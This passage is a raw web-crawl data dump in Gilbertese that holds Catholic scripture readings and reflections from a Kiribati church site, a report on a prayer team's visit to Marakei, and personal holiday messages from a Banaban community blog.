Ewangkerio ba te koraki ake a weteaki mani kaoaki a bon rawa n roko ni kaea te baka n amarkae ba a taku ba a tabetabe. Ao n tokina E kanakoa riki aomata te Uea nakoia ake a mena i tutaniukawai. Ao ibuakoia ake a roko ao temanna are akea ana kunaikai ae baainna ibukin te mare are kaoaki nako iai. Ngke E noria te toka ao e taku nakoina; Raou e aera ngkai ko aki kunikainiko n te onea ibukin te baka n marake? I aana ao E tua ba e na kabaeaki baina ao e na teweakinako i ao ike e bo iai te tang ao te kangengewi- are boni moone.\nOin ngkanne te rongorongo nakoira n te Tabati are ngkoananoa ba ti na iangoia ba ti kaeka ana kakao te Atua nakon ana bakanamarake ma ae kakawaki riki ba ti na riki ba te koraki ake a na rianeaki n rin nako nakon te baka n amarake are bon Karawa. Eng ti na bon riki ba tan rineaki ba tan rinako Karawa ibukina ba iai kunikaira nakon te baka n amarake are bon kaniwangan ara kekeiaki ni maiuakina te onimaki are ti a ti a tia n anaganaki iroun Iesu ngke e roko i aonteaba ba E na kairira nako Karawa.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1524-te-onimaki-ae-maiuakinaki","date":"2020-10-25T07:39:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107888402.81\/warc\/CC-MAIN-20201025070924-20201025100924-00311.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":830,"character_repetition_ratio":0.052,"word_repetition_ratio":0.005,"special_characters_ratio":0.232,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"taiaioka kain te banaban voice au bubuc riki nkana iai ae ata aia contact natin Peter Atauea ma nei Teingira nkana iai iaon vitilevu ao ia bubuc aia contact. ba e kainanoia buu ae aia koraki. kam raraba\nYou can share this blog post in two ways…\nShare this link:\nSend it with your computer's email program: Email this","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/main\/sharing\/share?id=2211587%253ABlogPost%253A52071","date":"2020-10-30T05:01:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107907213.64\/warc\/CC-MAIN-20201030033658-20201030063658-00500.warc.gz","language":"gil","language_score":0.9919494987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9919494986534119}","num_words":59,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aika a mananga nako Marakei bon Nei Tearaa, Nei Makurita ao ai Nei Babane.\nA kitana Tarawa te tiim iaoni baoia te wa-uoua ae St Teretia n te moaningabong n te aoa 10. A roko raoi i Marakei n te Moanibong n te moanibong. Ngke a roko ao a bon aki ataaki ba akea te katanoata nako Marakei ni kaongoia kain Marakei te roko. Ma ana tangira te Uea, ba iai temanna te aine ae a tei ietan te matabaiaoa are e a kangoaki naba iroun temanna kain te wa-uoua are e roko naba n te tai anne, ao e a butimaia naba kain te tiim aio ni kairiia nakon te maneaba ae Atiniban Iesu are bon maneaban te Katorika i Rawannawi are kautun te Aro iaon Marakei.\nN te tai anne, ao a bon butimaeaki naba kain te tiim irouia kain te Charismatic ikekei ao a maroro naba ma ngaia, ao ni kaongoraia iai kain te botaki ikekei, bukin rokoia ibukin kawaran Marakei man ana muioko te NSC iaani ngkoa kainnanoakin te roko ikekei irouia kain te Abamakoro n te botaki ni Charismatic. N te tairiki anne, ao e a moanaki naba te reirei iaon taekan te charismatic n aron kamatatakina raoi, ao e a karaoaki naba te nebonebo.\nBon teniua (3) maitin aia bong n tiku i Rawannaui, ao ana tangira te Uea are a noria bon iai te kukurei ni butimaai, ao te ingainga ao te bonnano, ao te reitaki ae moan te tamaroa ma kain te botaki ni charismatic ikekei. N te kateniua ni bong ao e a tuatua naba kain te botaki ae ana Tanga Nei Maria, ba a kukurei n reitaki ni karaoa te butimaai ke ni waraurau ma te tiim aio imwain manga nakoia nakon kaawa ake imwiina n aron aia program are a na manga waaki iai.\nN rokoia i Temotu ao a bon tiku iai 3 maitin aia bong. A bon butimaeaki raoi, ao a bon wakina naba aia waaki n aron te reirei, mani kanoan te Maiu ae Onraken te Maiu, ao te tibatiba ao ni kaota ana kamimii ma ana tangira te Uea ao a noria ba iai manga te unga n nano irouia kain te botaki ikekei, ao te uki n nano nakon riki te manga kakaonimaki. A rangin ringaki nanoia n aia tibatiba kain te tiim iroun temanna kaina ae Makurita are e a tiba iai ana kamimi te Uea n rokon ngkoa teuare Teema n urua te bangota are i Nikunau n ana tai te botaki n charismatic ni moan roko iaon te abamakoro ae Nikunau.\nImwina ao a manga mananga nakon te kawa ae Raweai, ao bon aroia naba arei are manga te reirei ao man kaungai naba nanoia kain te botaki n te kawa arei. Bon tenibong (3) naba aia bong ao a noria ae bon iai naba te kan reitaki ma te ungannano irouia kain te botaki n te kawa arei. Ana tangira te Uea ae a noria, ba manga iai maitia tabeman ake a manga waaki ni karaoa aia kooti n te Maiu ae Onraken te Maiu.\nImwin te kawa anne, ao a manga nako Tekarakan, ao a noria ba a maiti riki kain te kawa arei n roko. Bon iai naba te nano ni kani butimaai, te kan reitaki ao te nano riki ni kan ongora nakon te roko. A noria n rokoia ikekei ba iai te rikirake n te kakaonimaki nakon te waaki n nebonebo, ao man kan iriira te nebonebo are aki toki ni kakaraoia kain te tiim arei n te karangaina koraki inanon tenibong aia bong n tikuia ikekei.\nN rokoia i Bainuuna, ao a bon nora naba aron te nano ni butimaai, ao a nora naba ana tangira te Uea nakon temanna te unimane. Te unimane arei e bon tuai man ririn n te umantabu, ao te kamimi ba e a bon katikaki naba nanona ni kan ira te nebonebo n te karangaina arei. Ao e a bon n iriiri naba te unimane arei inanon tenibong ana bong.\nN te kawa are imwina ae bon Norauea, ao bon 3 naba aia bong, ao bon aron naba aia program arei, ao ana tangira te Uea ba bon iai naba ake a kooti n te Maiu ae Onraken te Maiu ao a nora naba teimatoan aia onimaki kain te botaki ikekei. Iai naba ana tangira te Uea are a noria n noran temanna te unimane ae bon tataua inaomatana, man botakin te aro, ao e aki naba tataromauri, ao ngkanne e a bon rangin kakaraba naba te Uea n te tai anne, ba e a bon kan roko naba ni kan ira buakon te maroro, ao e a roko naba inanon te umantabu. Te bai ae kamimii riki ae bon noraki irouia kain te tiim n te kawa arei, ba ni moan rokoia ao n aia moa ni bong n nebonebo, ao bon ti tabeman n roko n iira te tataro, ma n te Kauabong, ao a maiti riki ake a roko, ao n te kabanea ni bong ao a bon rangin maiti n roko ake ana reita te tataro n nebonebo, ao a bon maiti naba ake a tang inanon tain te nebonebo, man ringaki nanoia, ao e bon reke naba te tai ni katokabai iaoia ao te kakorakora are a bon reitaki naba kain te tiim ma ngaiia inanon aia tai n reitaki n nebonebo.\nI Tekuanga, ao n rokoia ikekei ao a boni bane n roko kain te kawa ma kain te botaki ni kan ongora n aia kaongora kain te tiim mani kan reitaki. E bon reke aia tai kain te tiim ni kabarabara aron te botaki ae te charismatic. Bon te mamaroro ni kiritian, ao a rangin karabaraba n noran ana boutoka ma ana ibuobuoki te katekiti ikekei n aron boutokakiia kain ana kawa. Bon anne naba are a tia n noria kain te tiim ni kawa ake mai maina, n aron aia boutoka taiani katekiti ni kawa akanne. Iai naba ana tangira te Uea iroun temanna te aoraki ae teteinnaine are e a tangira naba te katokabai n te tai arei, are e a karaoaki naba. N aron are a noria kain te tiim ao teteinnaine aio, e bon kainnanoa ana katokabai te Uea, ao aorakin neiei bwa e kabuingoingo, n taai nako, ma e bon kakaonimaki n tai nako nakon te tutia ao te tataro, ma e a bubuti tinana bwa e na katokabai te aba iaona. Iai naba temanna te unaine ae tangira te katokabai ao e bon karaoaki naba aio nakoina. Oin kainnanoakin ana tangira te Uea iroun te unaine aio n aron are e tibaia kain te tiim temanna, ba e bon rangin kainnanoa ana buoka te Uea ibukin natina ae tabe ni kataa te nakoa ngkai. Bon iai naba manga utin nanon aia Tiibi riita are e a bon moanna ni kani bubai rikaaki man nakoana, ma inanon kaotiia kain te tiim aei, ao e a manga anganaki te nano ni kakorakoraaki man unga ni kan waki nakon ana botaki ni Charismatic. A bon roko naba kain te tiim ni kawara batan temanna te unaine ae bon kain te charismatic are e mauku ao e a bon roko irouna te kara, are e roko irouna te taka ni kan karokoaki ana tangira te Uea irouna ao are e a reke ana tai naba ni butimaea ana tangira te Uea ni kawarana ni mwengana irouia kain te tiim aio.\nN rokon te tiim i Antaai, ao a noria, ba bon akea mitinarena ba e mena i Tarawa n te tai arei. Bon iai naba te kan reitaki, ao te ingainga ni kan ongora irouia kaina. Ana tangira te Uea ae a noria kain te tiim ba n te kawa aio, ao e a bon moanna ni mamara te charismatic iaona, ma n rokoia kain te tiim, aio, ao a noria ba a manga moanna ni bobota aia botaki mani manga kan waaki. Bon iai naba ake a manga waakina aia kooti iaon te Maiu ae Onraken te Maiu n te tai arei.\nIkanne are e a bon bane naba iai kawa iaon Marakei ma bon iai riki teuana te kawa are e aikoa reke kawarakina irouia kain te tiim, ba e bon boo aia baka ibukin aia maneaba, ma a nora te taka irouia kain te kawa aio ngke a manga kainnoia kain te tiim n okiia nako Rawanawii ike a kariabao iai ibukin baoia n oki nako Tarawa. Te kawa aio, bon Kaukiaang, ma e bon reke naba aia tai kain te tiim aio ni kawariia, ao ni karaoa naba aia makuri are a tia ni kakaraoia ni kawa ake nikirana. Bon iai te nano ae a noria kain te tiim aio irouia kain te kawa aio, ni butimaea te roko ao n te unga n nano.\nTeuana tabun te namakaina manin tikun te tiim aio iaon Marakei.\nRongorongo ao Ribooti\nRibootin Te Mananga Nako Marakei\n- Details\n-","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/nsc\/rongorongo-ao-ribooti\/19-ribootin-te-mananga-nako-marakei","date":"2020-10-26T19:17:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00093.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1484,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki i muin te Ephiphany Kauabong\nWarekan ana moa n Reta Ioane. 4: 7-10\nNgkami aika kam tatangiraki, ti na itangitangiri, ba boni mairoun te Atua te tangira; ane iai ana tangira, ao e riki mairoun te Atua, ao e ata te Atua. Ane akea ana tangira, ao e tuai n ata te Atua, ba bon te tangira te Atua. E kaotaki nakoira ana tangira te Atua n aei: E kanakoa Natina ae te Rikitemanna te Atua nako aon te aba, ba ti aonga ni maiu irouna. Ao aei aron ana tangira: tiaki ngaira aika ti tangira te Atua, ma boni Ngaia are tangirira ao E kanakoa Natina ba te karea i bukini kabaran ara bure.\nTe Taramo 72: 1-4, 7-8\nKaekana: A na bane botanaomata n taromauriko, te Uea.\nTe Atua, angan te Uea am moti, angan natin te Uea am eti,\nba e na kaira am botanaomata ma te eti ma ni kaeti taekaia am aomata\naika kainnano. K\nKe a uota te raoi maunga nakon te botanaomata, ke a uota te eti tabuki.\nE na kaeti taekaia akana kananoanga, E na kamaiuia natia kainnano K\nE na rikirake te eti n ana tai, E na matoa te raoi n aki toki.\nE na tautaeka mai marawa nako marawa, Ao man te Karanga nako tabon aonaba. K\nAlleluia, alleluia.\nE taekina te Rongorongo ae Raoiroi Iesu, Ao e kamaiuia aoraki. Alleluia.\nEuangkerio.\nWarekan ana Euangkerio Mareko.: 6: 34-44\nNgke E aerake Iesu man te boti, ao E noria aomata ake a uanao, ao E nanoangaia, ba ai aroia tibu aika akea te tia kawakinia. Ao E kamanna n reireinia. Ngke e a kaan te bong, ao a nakoina ana reirei, ao a taku: \"Bon te rereua te tabo aei, ao e a kaan te bong; kaokiia nakon aia tabo tan ribana ma kawa aika kaan, ba a na kaboi kanaia iai.\" E kaekaia ni kangai: \"Kaamarakeia, ngkami.\" A taku nakoina: \"Tao ti na nako ni kaboi bwerena n uabubua te tenario ba kanaia?\" Ma E taku Iesu: \"Iraua ami bwerena? Nako,noria.\" Ngke a tia n noria, ao a taku: \"Nimaua, ao uoman te ika.\"Ao E tuangia ba a na katekatekaia, n tibatibaia n taiani koraki, i aon te uteute ae mawawa. Ao a tekateka i aontano n taiani koraki ake tatabebubua ke kakanimangaun. Ao E anai bwerena ake nimaua ma ika ake uoman, ao E tararake nako karawa ma n atonga te karaoiroi, ao E ototoi bwerena n angania ana reirei ba ana tibatibai. Ao E tibatibai naba ika ake uoman nakoia ni kabaneia. A bane n rauaki n amarake, ao a rikoaki tengauni ma uakora te baene, ake a on n nikirani bwerena ma ika. Ao maitia mane ake a kangi bwerena, nimanga.\nTibatiba: E kamarakeira te Atua ma te rauaki ngkana ti maiuakina ana Tangira\nTariu ao maneu e weteira Iesu ba ti na iriria n tai nako ao ngkana ti kaeka ana wewete ao e berita nakoira ba e na anganira te rauaki n tai. N te bong aio ao ti a manga ongora aron Iesu ni kamarakeia te koraki ae nimanga maitia ake a iriria n ongora n ana reirei ao ana kabarabara.\nE kauringira ikai Iesu ba ngkana ti tauraoi n anga maiura ma arora ni kabane nakoina ao n tabeakina Nanon ao E na bon tabeakinira n arora ni kabane ao a na bon akea tabeaiangara ba E na tararuaira n tai nako. Bon Nanon te Atua ibukira ba ti na muiankina ana tangira nakoia tarira ma manera ba ti aonga ni kaotia ba ti mananga mairoun ao E maeka te Atua inanora ao ti na bon raonna naba ni mate ao nu mangauti ma Ngaia nakon te mimitong.\nTi na kekeiaki n tai nako ni butimaea te amarake are kakatauraoi Iesu ibukira n te Eukari. Bon aio te amarake ni borau ae ruo mai Karawa ae na karokoira n te Abanuea ae Karawa. Ngkana ti teimatoa ni maiuakina ana tangira Iesu ao n tabeka ara kaibangaki ao n irira Iesu ao ngkanne ti na bon koaua ba ti na roko n tokin kawaira are bon mwengara ni koaua are E a tia katauraoia te Uea ibukira. Ti na butia tinara Nei Maria ba e na taui baira n tai nako ba ti aonga n totoua kawain Natina ae Iesu.ao ni katonga te kabaia ae akea tokina I Karawa.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1578-e-kamarakeira-te-atua-ma-te-rauaki-ngkana-ti-maiuakina-ana-tangira","date":"2021-01-21T18:15:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00720.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":720,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki i mwin te Ephihany Katenibong\nWarekan ana moa n Reta Ioane: 4: 11-18\nNgkami aika kam tatangiraki, ngkai E bati n tangirira te Atua, ao ti riai naba ngaira ni itangitangiri. Bon akea temanna ae a tia n nora te Atua. Ngkana ti itangitangiri, ao E maeka te Atua i nanora, ao e kororaoi ana tangira i nanora. Ti ataia ba ti maeka i nanona ao Ngaia i nanora, ba E a tia n anganira Tamneina. Ao ngaira ti a tia n noria, ao ti kakoaua ba E kanakoa Natina te Tama ba te tia kamauia aonaba? Ane kakoaua Iesu ba Natin te Atua, ao E maeka te Atua i nanona ao ngaia i nanon te Atua. Ao ngaira ti kina ana tangira te Atua nakoira ao ti kakoua. Bon te tangira te Atua: ane maeka inanon te tangira, ao e maeka i nanon te Atua, ao e maeka te Atua i nanona. E na kororaoi te tangira i nanora ngkana ti aki maku n bongin te motikitaeka, ba arona Ngaia, ao ai arora naba i aon te aba. Akea te maku i nanon te tangira, ma e kamauna te maku te tangira ae kororaoi, ba e reke te maku man te karekekai: ane maku, ao e tuai kororaoi ana tangira.\nTe Taramo 72: 1-2, 10, 12-13\nKaekana: A na bane botanaomata n taromauriko, te Uea.\nTe Atua, angan te uea am moti, angan natin te uea am eti,\nba e na kaira am botanaomata ma te eti, ao e na kaeti taekaia am aomata\naika kainano. K\nA na angabai nakoina uean Taatiti ma abamakoro,\na na anganna aia karea uean Tieba ma Teba. K\nE na kamauia te kainano ae wewete ma te kananoanga ae akea buokana.\nE na nanoangaia mamara ma kainnano, E na kamaiu tamneia kainano. K\nAlleluia, alleluia.\nE kanakoai te Uea ba N na taekina te Rongorongo ae Raoiroi nakoia kainnano\nao te inaomata nakoia akana kainaki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 6: 45-52\nNgke a tia n amarake ma n rauaki aomata ake nimanga, ao E kairoroia ana reirei Iesu ba a na toka n te booti, ao a na rimoa n nako Betetaita, ao Ngaia E na kanakoia te koraki. Ngke E tia ni kanakoia, ao E nako n tataro i aon te maunaga. Ngke e a tairiki, ao e mena te boti i nukan te nama, ao Ngaia E mena i eta n ti ngaia. E nori kainnanoia ni buru, ba e tutuki te ang; ao ngke e a boni kaan te ngaina, ao E kawariia n nakonako i aon te nama, ao E nang kitania. Ngke a noria ba E nakonako i aon te nama, ao a taku ba te anti, ao a takarua, ba a bane n noria, ao a maku. Ma E taetae naba Iesu nakoia ao E taku: \"Karau nanomi, boni Ngai, tai maku.\" Ao E toka i rarikia n te boti, ao e baka te ang. E koro te maku i nanoia, ba a aki ata nanon te kakai are (kamaitakin) te bwerena; a aki ota nanoia iai.\nTibatiba: Ane kakoaua Iesu ba Natin te Atua, ao E maeka te Atua i nanona ao ngaia i nanon te Atua\nTariu ai maneu ti a manga reita ara maroro are ngkoananoa iaon te maiu n Atua ae ti anganaki iroun Iesu ae Natin te Atua ao are e na noraki inanora ngkana ti maiuakoina te tangira. Te tangira bon maiun te Atua inanora ae na noraki ao e na kaokoroira ma aomata nako aika aki ata te Atua. Te tai aio ao ti karekea te maiu n Atua aio ngkana ti katonga Rabatan ao Raran Iesu n te takaramentu ae te Eukari. Ao ti ataia ba ti na ti kona ni katonga Rabatan ma Raran Iesu ngkana ti maiu inanon te raoiroi ao ti kakaraoa Nanon te Atua.\nN te bong aio ao e a manga kamatoaki nakoira kakawakin maiuakinan te tangira are ti kaota iai te reitaki ma te Atua n te aro are ti maiu inanon te Atua ao Ngaia E maiu inanora. Ma ti ataia ba ti na kona ni maiuakina te tangira ngkana ti kakoaua Iesu ba Natin te Atua are kanakoaki nakoira ba ti aonga ni kamaiuaki.\nE taku te boto n iango ae ti kataia ni kananoa n te bong aio ba \"Ane kakoaua Iesu ba Natin te Atua ao e maeka inanon te Atua ao te Atua E maeka inanona. Are nanona ba ti riki n ti teuana ma te Atua.\nTi kauringkai n te ewangkerio ba ngkana ti maeka ma Iesu ao ti na bon namakina tai nako te rauaki ao te mweraoi. Ba ngkai ti riki n ti teuana ma te Atua ao ti ataia ba boni ngaia ae na buokira ao E na kawakinira ma taian kabuanibai n te maiu aio. Inanon katongan Rabatan ao Raran Iesu ao ti anganaki te aki kona ni maku ngkai ti ataia ba bon raora Iesu n tai nako. Ngkana ti raurenako ma Iesu ao ti na bon maku n tai nako ngkai ti namakinna ba ti aki kona n reitaki ma te Atua ngkai bon tan bure ngaira.\nInanon te takaramentu ae te Eukari ao ti weteaki ba ti na uota Rabatan Iesu nakoia tarira ao manera nni kaota te taangira nakoia ba aonga n maeka naba inanon te mweraoi ma te raoi ngkai bon raoia te Atua n tai nako.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1574-ane-kakoaua-iesu-ba-natin-te-atua-ao-e-maeka-te-atua-i-nanona-ao-ngaia-i-nanon-te-atua","date":"2021-01-21T17:34:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00404.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":895,"character_repetition_ratio":0.065,"word_repetition_ratio":0.026,"special_characters_ratio":0.236,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"happy belated year greeting to u and your family!hey, truly sorry for a delay to contact, i just resume work from a 3months maternity break. neiko e rarabwa te katekeraoi nakon te new baby gal, arana bon nei meria bon ingoan taria mummy maa ae e mate ngke uarereke. shes very fine, ao are e a bon tiku n te auti ma tibuia ao ai rereia. e na uara te xmas ikai e bon rangi ni kakukurei bwa ai manga te gathering with your family esp ngai ai bon au tai ni mamaraki, i bung the day after xmas.\nam catching up ngkai ma au mwakuri aika a rangi ni bati, ai bon te katekeraoi nakoim ma am family esp nakon am ataeinaine anne, regards from tina, rereia ao meria nakon am ataeinaine anne\nmerry xmas to u all dauve! e uara ami xmas n ami tabo anne?? i taku ba e bon ragin nakoraoi. gaira e bon nako raoi naba ikai ara xmas n ara tabo aei. ao tera gkanne ami plan n te new year?? e tau ba koa maga reitia ma ikanne gkana ko mawa. ragards to u al l ma e a moa2 eiki nakon nei tina ma manena ma tarina. ti a boo moa\nmauri naba dauve! kam uara moa gkai, ti a man n aki chat, i bon nako ni mena n te country side, bon 2 ara namakaina gkai, akka e bon tiku i sydney ao gai ma tibu aei n nako. anyway, tao ko a tia ni bug gkai?? gkana koa tia, ao ena tekeraoi naba te ataei ae boou inanon te wwega, ao ena tekeraoi naba tinana. bon tiaki ti gaia ma bon au kateraoi naba nakon tamaia ataei, ba ena bon kakabaiaki ana kariki ae kaga ai aron ana kariki aberaam. sh sh sh e bon kagaga naba maneu anne!\nbon te iga ae moan te bati nakoimi tina, rereia, an baby,tati an saka n te xmas an new year ae nag roko gkai. tekeraoi kanoan ami ka xmas ao te ririki ae bou. temauri,teraoi ao te tabomoa! ana iga nei naom i nakoiminibane. tia boo moa!\nmauri nei tati, saka ao natimi aika ragin bo2to! neiko, gaia i taku ba ko bon joke ma gaia ko nag maternity leave. ena tekeraoi te leave ao ko bon aintoa imain te kauaba n te labour ward. kaira saka nako rarikim, ba gkana e roko agina, ao ko tena tanigana are teuana, gkana e a ine2i marakina, ao koa tena gkanne bairina ni kounakoa.....ha..ha..ha\nti ragin maru2g raoi ma akka ao te kume aio, gaia ti a bon aki namakinna ba gaia e nag bane te ririki aio. te iga ma te kamauri nakoimi ma natimi akanne, ao ena tkeraoi kanoan te waki. tia boo moa!\nmauri naba natiu are te boboto are nei tina, ao mauri gke naba te roroga are ten rereia, ao mauri gke kain umau are nei tati, mauri gkammi ni bane. e bati n raba te kaogora ao neiko gaia e nag maga rebenako naba? ko ataia gkai ba ai tera ae karaoia maneu anne? e tau tina ma karaua nanom ba te aoraki iroun ae korakora iroun teuanne, ba bonaorakia i tiaban gkoa n tainj te buaka. regards to both of u but mostly to the little ones. i a maga ogora iroumi next time ti a boo moa ao tekeraoi gkami.","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/banabanvoice.ning.com\/profile\/TiinaSakamoto606","date":"2021-01-24T21:43:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703557462.87\/warc\/CC-MAIN-20210124204052-20210124234052-00698.warc.gz","language":"gil","language_score":0.9994297028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9994297027587891}","num_words":565,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 1 Moanibong\nWarekan te Reta nakoia Ebera. 1: 1-6\nE taetae te Atua ngkoa nakoia ara bakatibu, n tai aika maiti ao n aro aika maiti, ni wia burabeti. Ao ni bong aikai, aika kaitira ni bong, E taetae nakoira ni win Natina. E katea Natina ba te tia baibai ni bai ni kabane, ao E kariki bai ni kabane irouna. Ao Natina anne, bon raneaneani mimitongina ma katotongan arona. Boni ngaia ae kawakina aona ba n ana taeka ae maka. Boni Ngaia ae katia te makuri ae kaitiakakini bure; ao E nako ngkanne n tekateka i angatain Teuare mimitong i eta. E riki iai ni kakanato i aoia anera, ba bon oin ana bai te ara ae moan te rine nakon araia nako.\nBa antai te anera ae E tia ni kangai te Atua nakoina: \"Natiu ngkoe, I karikiko n te bong aei\"? ke tao E kangai: \"N na riki ba Tamana, ao E na riki Ngaia ba Natiu.\" Ao Ngke E karokoa ana moan Nati i aon te aba, ao E manga kangai: \"Ke a bane ana anera te Atua n taromauria.\"\nTe Taramo 96: 1-2, 6-7, 9\nKaekana: Ke a bane ana anera n taromauria.\nE tautaeka te Uea, ke e kukurei aonaba, Ke a kimareirei abamakoro nako\nE rabunaki n te nang ma te ro, e tei kaintokana i aon te Raoiroi ma te Eti. K\nE kaota ana eti karawa, a bane botanaomata n nora mimitongina,\nBobaraki i matana, ngkami tamnei nako. K\nBa boni ngkoe te Uea, Ko rietata i etan aonaba,\nKo raroa i aoia tamnei nako. K\nAlleluia, alleluia.\nTaetae, te Uea, ba e ongora am toro: a mena iroum taekan te maiu ae aki toki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 1: 14 - 20\nNgke e a tia ni kabureaki Ioane, ao E nako Iesu nako Kariraia. E taekina te Rongorongo ae Raoiroi ae mairoun te Atua, ni kangai: \"Rairi nanomi, ao kakoaua te Euangkerio.\" Ngke E ri rarikin namani Kariraia, ao E nora Timon ma Anterea ae tarina ba a kabaka aia karaun n te nama ba bon tan akawa ngaia. E taku Iesu nakoia: \"Nakomai, irai, ao N na karaoingkami ba tan akawaia aomata.\"Ao a kitan naba aia karaun, ao a iria. Ngke E nako riki teutana, ao E nora Iakobo ae natin Tebetaio, ao Ioane are tarina, ba a mena naba n aia boti, ao a karaoi aia karaun. E weteia; ao a kitana tamaia ae Tebataio i nanon te boti, ma aia tia makuri, ao a iria.\nTibatiba: A kitana tamaia ao a ira Iesu\nInanon bong aika a nako ao ti ongora bukin rokon Iesu iroun Itaia are kaotaki ba E kabiraki ao e katabuaki Iesu ba e na uota te kamaiu ao te ririki n akoaki nakon te botanaomata ba e aonga ni kabaraki ma te tautoronaki ao ni kamaiuaki man aorakina ao ni maeka inanon te mweraoi ao te eiti.\nN te bong aio ao ti ongora aron taekan weteaia moan abotoro are muiokoia Iesu ba tan buoka ana makuri ni karokoa te rongorongo ae raoiroi nakoia aomata ba aonga ni babetitoaki n aran te Tama te Nati ao te Tamnei ae Raoiroi.\nTe bai ae ti kakoaua ni weteaia abotoro ba e rineia aomata aika a mangori aika tan akawa ao tiaki tan kairiri aika kinaki man rabakau. Te itera ae ti noria bon aron kaekan ana wetewete Iesu irouia tan weteaki ba a bon tauraoi naba ni kitan bai are a karaoi ke aia utu ao n ira Iesu.\nTi nora ikai bai aika a kakawaki ibukin kaekan ana wewete Iesu- ba e aki kakawaki te rabakau ma te wanawana iroun Iesu ibukina ba boni Ngaia ae na makuri ao n taetae iroura ngkana ti kakoaua ba ake akea te bai ae ti kona ni karaoia ma bon man ana buoka te Atua. E na bon kanganga irirakin Iesu ngkana bon iai ara eti ke ti taku ba ti aki kainnanoa te Uea ibukin karaoan tabera. Te kauoua ngkanne ba ngkana ti kaeka ana wetewete Iesu ao ti riai n tauraoi ni katikui bai nako- ara utu ke ara makuri. Ti riai n tauraoi ni karimoa tangiran te Atua iaon bai nako. Ti riai n aki kataui kaubain te maiu aio ba ti ni tautorinaki iai ba e na kabua ,ao orura te maiu ae akea tokina, E aitiara te Uea ao e nroira ni mamarara ao kabakara ma e nage n annne ao e bon weteira naba ni kaotia ba e kaninnaoira bat i karekea tinagarea ni kamuaian aonnaba. E bia rele ara tataro ni kaeka ana wewete te Uea nakoita ae kangai; \"Aio ngai te Uea; I tauraoi ni karaoa ae nanom\"","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1577-a-kitana-tamaia-ao-a-ira-iesu","date":"2021-01-21T18:38:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00478.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":773,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 1 Kaabong\nWarekan te Reta nakoia Ebera. 3: 7-14\nE kangai te Tamnei ae Raoiroi: \"Ngkana kam ongo banana n te bong aei, ao tai kamatoai nanomi, n ai aromi n tain te kauntaeka ni bongin te kataki i nanon te rereua, ngke a kataai ma ni karawawataai ami bakatibu, i muin noran au makuri i nanon abui te ririki. Ma ngaia are I un nakon te roro arei, ao I kangai: A aki toki ni kairua nanoia, a aki ota n au katei; ai ngaia are I taetae n tuea ma te un ni kangai: A na aki rin i nanon au 